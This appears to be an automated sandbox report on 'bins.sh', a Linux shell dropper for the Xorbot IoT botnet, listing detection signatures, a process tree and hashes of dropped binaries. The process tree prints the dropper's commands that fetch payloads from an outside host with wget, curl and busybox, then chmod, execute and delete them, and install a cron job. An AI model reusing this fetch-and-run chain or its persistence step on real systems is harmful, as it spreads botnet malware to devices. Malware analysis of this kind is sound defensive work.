Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    147s
  • max time network
    158s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    23/01/2025, 03:01

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250123-dhwp2azncq
  • SHA256 d119981583cafd991f7b00e8d78bf2f2f108ab2904afd8caf95de21dc1b63fa4
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (792) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 13 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:655
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:658
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/Kb5t5P3LegQyy1v2fSZ5XaqhSYUs4Zhozm
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:662
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/Kb5t5P3LegQyy1v2fSZ5XaqhSYUs4Zhozm
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:761
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/Kb5t5P3LegQyy1v2fSZ5XaqhSYUs4Zhozm
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:763
      • /bin/chmod
        chmod 777 Kb5t5P3LegQyy1v2fSZ5XaqhSYUs4Zhozm
        2⤵
        • File and Directory Permissions Modification
        PID:775
      • /tmp/Kb5t5P3LegQyy1v2fSZ5XaqhSYUs4Zhozm
        ./Kb5t5P3LegQyy1v2fSZ5XaqhSYUs4Zhozm
        2⤵
          PID:776
        • /bin/rm
          rm Kb5t5P3LegQyy1v2fSZ5XaqhSYUs4Zhozm
          2⤵
            PID:778
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/OfKIFfsBEq2LTAcoXV9e1sm1ZdU17WMn4W
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:779
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/OfKIFfsBEq2LTAcoXV9e1sm1ZdU17WMn4W
            2⤵
            • Checks CPU configuration
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:780
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/OfKIFfsBEq2LTAcoXV9e1sm1ZdU17WMn4W
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:784
          • /bin/chmod
            chmod 777 OfKIFfsBEq2LTAcoXV9e1sm1ZdU17WMn4W
            2⤵
            • File and Directory Permissions Modification
            PID:787
          • /tmp/OfKIFfsBEq2LTAcoXV9e1sm1ZdU17WMn4W
            ./OfKIFfsBEq2LTAcoXV9e1sm1ZdU17WMn4W
            2⤵
              PID:788
            • /bin/rm
              rm OfKIFfsBEq2LTAcoXV9e1sm1ZdU17WMn4W
              2⤵
                PID:790
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/JmbuZPAUB6vUgmyX28NbIhK9zPBItqVF1j
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:791
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/JmbuZPAUB6vUgmyX28NbIhK9zPBItqVF1j
                2⤵
                • Checks CPU configuration
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:792
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/JmbuZPAUB6vUgmyX28NbIhK9zPBItqVF1j
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:794
              • /bin/chmod
                chmod 777 JmbuZPAUB6vUgmyX28NbIhK9zPBItqVF1j
                2⤵
                • File and Directory Permissions Modification
                PID:797
              • /tmp/JmbuZPAUB6vUgmyX28NbIhK9zPBItqVF1j
                ./JmbuZPAUB6vUgmyX28NbIhK9zPBItqVF1j
                2⤵
                  PID:798
                • /bin/rm
                  rm JmbuZPAUB6vUgmyX28NbIhK9zPBItqVF1j
                  2⤵
                    PID:800
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/pgWxSSSEFNbb5vMJprEjlUA1zzBiyhCOoc
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:801
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/pgWxSSSEFNbb5vMJprEjlUA1zzBiyhCOoc
                    2⤵
                    • Checks CPU configuration
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:802
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/pgWxSSSEFNbb5vMJprEjlUA1zzBiyhCOoc
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:804
                  • /bin/chmod
                    chmod 777 pgWxSSSEFNbb5vMJprEjlUA1zzBiyhCOoc
                    2⤵
                    • File and Directory Permissions Modification
                    PID:805
                  • /tmp/pgWxSSSEFNbb5vMJprEjlUA1zzBiyhCOoc
                    ./pgWxSSSEFNbb5vMJprEjlUA1zzBiyhCOoc
                    2⤵
                    • Renames itself
                    • Reads runtime system information
                    PID:806
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:808
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:809
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:810
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:811
                        • /bin/rm
                          rm pgWxSSSEFNbb5vMJprEjlUA1zzBiyhCOoc
                          2⤵
                            PID:813
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/blPjSI1aA9eu63InofXXlGdnHxt2rSzs0p
                            2⤵
                            • System Network Configuration Discovery
                            PID:816

                        Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              JmbuZPAUB6vUgmyX28NbIhK9zPBItqVF1j
                              • Path /tmp/JmbuZPAUB6vUgmyX28NbIhK9zPBItqVF1j
                              • Size 112KB
                              • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              Kb5t5P3LegQyy1v2fSZ5XaqhSYUs4Zhozm
                              • Path /tmp/Kb5t5P3LegQyy1v2fSZ5XaqhSYUs4Zhozm
                              • Size 122KB
                              • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              OfKIFfsBEq2LTAcoXV9e1sm1ZdU17WMn4W
                              • Path /tmp/OfKIFfsBEq2LTAcoXV9e1sm1ZdU17WMn4W
                              • Size 117KB
                              • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              pgWxSSSEFNbb5vMJprEjlUA1zzBiyhCOoc
                              • Path /tmp/pgWxSSSEFNbb5vMJprEjlUA1zzBiyhCOoc
                              • Size 141KB
                              • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              tmp.4ccbWh
                              • Path /var/spool/cron/crontabs/tmp.4ccbWh
                              • Size 210B
                              • SHA256 2954a3c08702d9bbff0b08d8be1bd1a8c90533f00f0bb31f629c61bb2b7601e4
                              • MD5 SHA1 SHA512
                              Submit Download